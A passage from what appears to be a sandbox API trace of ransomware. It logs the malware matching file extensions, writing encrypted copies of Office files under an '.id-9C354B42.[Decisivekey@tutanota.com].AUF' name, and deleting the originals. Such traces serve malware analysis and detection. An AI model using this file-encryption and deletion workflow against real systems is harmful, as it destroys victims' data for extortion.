liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.910] SetEndOfFile (hFile=0x214) returned 1 [0222.915] CloseHandle (hObject=0x214) returned 1 [0222.915] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0222.916] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pkeyconfig-office.xrm-ms")) returned 1 [0222.916] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned 104 [0222.916] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned 104 [0222.916] lstrlenW (lpString=".doc") returned 4 [0222.916] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0222.916] lstrlenW (lpString=".docx") returned 5 [0222.916] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0222.916] lstrlenW (lpString=".pdf") returned 4 [0222.916] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0222.916] lstrlenW (lpString=".xls") returned 4 [0222.916] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0222.916] lstrlenW (lpString=".xlsx") returned 5 [0222.916] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0222.916] lstrlenW (lpString=".ppt") returned 4 [0222.916] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0222.916] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned 104 [0222.916] lstrlenW (lpString=".zip") returned 4 [0222.916] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0222.916] lstrlenW (lpString=".rar") returned 4 [0222.916] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0222.916] lstrlenW (lpString=".bz2") returned 4 [0222.916] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0222.916] lstrlenW (lpString=".7z") returned 3 [0222.916] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0222.916] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned 104 [0222.916] lstrlenW (lpString=".dbf") returned 4 [0222.916] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0222.916] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned 104 [0222.916] lstrlenW (lpString=".1cd") returned 4 [0222.916] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0222.916] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned 104 [0222.916] lstrlenW (lpString=".jpg") returned 4 [0222.916] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0222.916] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned 104 [0222.916] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned 104 [0222.916] lstrlenW (lpString=".doc") returned 4 [0222.916] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0222.916] lstrlenW (lpString=".docx") returned 5 [0222.917] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0222.917] lstrlenW (lpString=".pdf") returned 4 [0222.917] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0222.917] lstrlenW (lpString=".xls") returned 4 [0222.917] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0222.917] lstrlenW (lpString=".xlsx") returned 5 [0222.917] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0222.917] lstrlenW (lpString=".ppt") returned 4 [0222.917] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0222.917] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned 104 [0222.917] lstrlenW (lpString=".zip") returned 4 [0222.917] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0222.917] lstrlenW (lpString=".rar") returned 4 [0222.917] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0222.917] lstrlenW (lpString=".bz2") returned 4 [0222.917] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0222.917] lstrlenW (lpString=".7z") returned 3 [0222.917] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0222.917] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned 104 [0222.917] lstrlenW (lpString=".dbf") returned 4 [0222.917] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0222.917] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned 104 [0222.917] lstrlenW (lpString=".1cd") returned 4 [0222.917] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0222.917] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned 104 [0222.917] lstrlenW (lpString=".jpg") returned 4 [0222.917] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0222.917] lstrcmpiW (lpString1=".dll", lpString2=".AUF") returned 1 [0222.917] lstrlenW (lpString="pkeyconfig.companion.dll") returned 24 [0222.917] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig.companion.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pkeyconfig.companion.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0222.918] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x335ff1c | out: lpFileSize=0x335ff1c*=15736) returned 1 [0222.918] CloseHandle (hObject=0x214) returned 1 [0222.918] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig.companion.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pkeyconfig.companion.dll")) returned 0x20 [0222.918] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig.companion.dll.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pkeyconfig.companion.dll.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0222.918] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig.companion.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pkeyconfig.companion.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0222.918] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.918] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.918] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig.companion.dll.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pkeyconfig.companion.dll.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0222.919] GetLastError () returned 0x0 [0222.919] ReadFile (in: hFile=0x214, lpBuffer=0x3e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesRead=0x335fed4*=0x3d78, lpOverlapped=0x0) returned 1 [0222.997] WriteFile (in: hFile=0x230, lpBuffer=0x3e50020*, nNumberOfBytesToWrite=0x3d80, lpNumberOfBytesWritten=0x335fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesWritten=0x335fc9c*=0x3d80, lpOverlapped=0x0) returned 1 [0222.998] ReadFile (in: hFile=0x214, lpBuffer=0x3e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesRead=0x335fed4*=0x0, lpOverlapped=0x0) returned 1 [0222.998] WriteFile (in: hFile=0x230, lpBuffer=0x3e50020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x335fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesWritten=0x335fc9c*=0x104, lpOverlapped=0x0) returned 1 [0222.998] SetEndOfFile (hFile=0x230) returned 1 [0222.998] CloseHandle (hObject=0x230) returned 1 [0222.998] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.998] SetEndOfFile (hFile=0x214) returned 1 [0222.999] CloseHandle (hObject=0x214) returned 1 [0222.999] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig.companion.dll.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0222.999] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig.companion.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pkeyconfig.companion.dll")) returned 1 [0222.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104 [0222.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104 [0222.999] lstrlenW (lpString=".doc") returned 4 [0222.999] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0222.999] lstrlenW (lpString=".docx") returned 5 [0222.999] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0222.999] lstrlenW (lpString=".pdf") returned 4 [0222.999] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0222.999] lstrlenW (lpString=".xls") returned 4 [0222.999] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0222.999] lstrlenW (lpString=".xlsx") returned 5 [0222.999] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0223.000] lstrlenW (lpString=".ppt") returned 4 [0223.000] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0223.000] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104 [0223.000] lstrlenW (lpString=".zip") returned 4 [0223.000] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0223.000] lstrlenW (lpString=".rar") returned 4 [0223.000] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0223.000] lstrlenW (lpString=".bz2") returned 4 [0223.000] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0223.000] lstrlenW (lpString=".7z") returned 3 [0223.000] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0223.000] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104 [0223.000] lstrlenW (lpString=".dbf") returned 4 [0223.000] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0223.000] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104 [0223.000] lstrlenW (lpString=".1cd") returned 4 [0223.000] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0223.000] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104 [0223.000] lstrlenW (lpString=".jpg") returned 4 [0223.000] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0223.000] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104 [0223.000] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104 [0223.000] lstrlenW (lpString=".doc") returned 4 [0223.000] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0223.000] lstrlenW (lpString=".docx") returned 5 [0223.000] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0223.000] lstrlenW (lpString=".pdf") returned 4 [0223.000] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0223.000] lstrlenW (lpString=".xls") returned 4 [0223.000] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0223.000] lstrlenW (lpString=".xlsx") returned 5 [0223.000] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0223.000] lstrlenW (lpString=".ppt") returned 4 [0223.000] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0223.000] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104 [0223.000] lstrlenW (lpString=".zip") returned 4 [0223.000] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0223.000] lstrlenW (lpString=".rar") returned 4 [0223.000] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0223.000] lstrlenW (lpString=".bz2") returned 4 [0223.000] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0223.000] lstrlenW (lpString=".7z") returned 3 [0223.000] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0223.000] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104 [0223.000] lstrlenW (lpString=".dbf") returned 4 [0223.000] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0223.000] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104 [0223.000] lstrlenW (lpString=".1cd") returned 4 [0223.000] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0223.000] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104 [0223.001] lstrlenW (lpString=".jpg") returned 4 [0223.001] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0223.001] lstrcmpiW (lpString1=".DLL", lpString2=".AUF") returned 1 [0223.001] lstrlenW (lpString="OFFREL.DLL") returned 10 [0223.001] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\offrel.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0223.002] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x335ff1c | out: lpFileSize=0x335ff1c*=9568) returned 1 [0223.002] CloseHandle (hObject=0x214) returned 1 [0223.002] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\offrel.dll")) returned 0x20 [0223.002] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\offrel.dll.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0223.002] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\offrel.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0223.002] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1 [0223.002] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1 [0223.002] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\offrel.dll.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0223.003] GetLastError () returned 0x0 [0223.003] ReadFile (in: hFile=0x214, lpBuffer=0x3e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesRead=0x335fed4*=0x2560, lpOverlapped=0x0) returned 1 [0223.035] WriteFile (in: hFile=0x230, lpBuffer=0x3e50020*, nNumberOfBytesToWrite=0x2570, lpNumberOfBytesWritten=0x335fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesWritten=0x335fc9c*=0x2570, lpOverlapped=0x0) returned 1 [0223.035] ReadFile (in: hFile=0x214, lpBuffer=0x3e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesRead=0x335fed4*=0x0, lpOverlapped=0x0) returned 1 [0223.035] WriteFile (in: hFile=0x230, lpBuffer=0x3e50020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x335fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesWritten=0x335fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0223.035] SetEndOfFile (hFile=0x230) returned 1 [0223.036] CloseHandle (hObject=0x230) returned 1 [0223.036] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1 [0223.036] SetEndOfFile (hFile=0x214) returned 1 [0223.036] CloseHandle (hObject=0x214) returned 1 [0223.036] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0223.037] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\offrel.dll")) returned 1 [0223.037] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL") returned 66 [0223.037] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL") returned 66 [0223.037] lstrlenW (lpString=".doc") returned 4 [0223.037] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0223.037] lstrlenW (lpString=".docx") returned 5 [0223.037] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0223.037] lstrlenW (lpString=".pdf") returned 4 [0223.037] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0223.037] lstrlenW (lpString=".xls") returned 4 [0223.037] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0223.037] lstrlenW (lpString=".xlsx") returned 5 [0223.037] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0223.037] lstrlenW (lpString=".ppt") returned 4 [0223.037] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0223.037] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL") returned 66 [0223.037] lstrlenW (lpString=".zip") returned 4 [0223.037] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0223.037] lstrlenW (lpString=".rar") returned 4 [0223.037] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0223.037] lstrlenW (lpString=".bz2") returned 4 [0223.037] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0223.037] lstrlenW (lpString=".7z") returned 3 [0223.037] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0223.037] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL") returned 66 [0223.037] lstrlenW (lpString=".dbf") returned 4 [0223.037] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0223.037] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL") returned 66 [0223.037] lstrlenW (lpString=".1cd") returned 4 [0223.037] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0223.037] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL") returned 66 [0223.037] lstrlenW (lpString=".jpg") returned 4 [0223.037] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0223.037] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL") returned 66 [0223.037] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL") returned 66 [0223.038] lstrlenW (lpString=".doc") returned 4 [0223.038] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0223.038] lstrlenW (lpString=".docx") returned 5 [0223.038] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0223.038] lstrlenW (lpString=".pdf") returned 4 [0223.038] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0223.038] lstrlenW (lpString=".xls") returned 4 [0223.038] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0223.038] lstrlenW (lpString=".xlsx") returned 5 [0223.038] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0223.038] lstrlenW (lpString=".ppt") returned 4 [0223.038] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0223.038] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL") returned 66 [0223.038] lstrlenW (lpString=".zip") returned 4 [0223.038] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0223.038] lstrlenW (lpString=".rar") returned 4 [0223.038] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0223.038] lstrlenW (lpString=".bz2") returned 4 [0223.038] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0223.038] lstrlenW (lpString=".7z") returned 3 [0223.038] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0223.038] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL") returned 66 [0223.038] lstrlenW (lpString=".dbf") returned 4 [0223.038] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0223.038] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL") returned 66 [0223.038] lstrlenW (lpString=".1cd") returned 4 [0223.038] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0223.038] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL") returned 66 [0223.038] lstrlenW (lpString=".jpg") returned 4 [0223.038] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0223.038] lstrcmpiW (lpString1=".DLL", lpString2=".AUF") returned 1 [0223.038] lstrlenW (lpString="OPTINPS.DLL") returned 11 [0223.038] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\optinps.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0223.041] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x335ff1c | out: lpFileSize=0x335ff1c*=18336) returned 1 [0223.042] CloseHandle (hObject=0x214) returned 1 [0223.042] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\optinps.dll")) returned 0x20 [0223.042] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\optinps.dll.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0223.042] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\optinps.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0223.042] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1 [0223.042] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1 [0223.042] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\optinps.dll.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0223.043] GetLastError () returned 0x0 [0223.043] ReadFile (in: hFile=0x214, lpBuffer=0x3e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesRead=0x335fed4*=0x47a0, lpOverlapped=0x0) returned 1 [0223.057] WriteFile (in: hFile=0x230, lpBuffer=0x3e50020*, nNumberOfBytesToWrite=0x47b0, lpNumberOfBytesWritten=0x335fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesWritten=0x335fc9c*=0x47b0, lpOverlapped=0x0) returned 1 [0223.058] ReadFile (in: hFile=0x214, lpBuffer=0x3e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesRead=0x335fed4*=0x0, lpOverlapped=0x0) returned 1 [0223.058] WriteFile (in: hFile=0x230, lpBuffer=0x3e50020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x335fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesWritten=0x335fc9c*=0xea, lpOverlapped=0x0) returned 1 [0223.058] SetEndOfFile (hFile=0x230) returned 1 [0223.058] CloseHandle (hObject=0x230) returned 1 [0223.058] 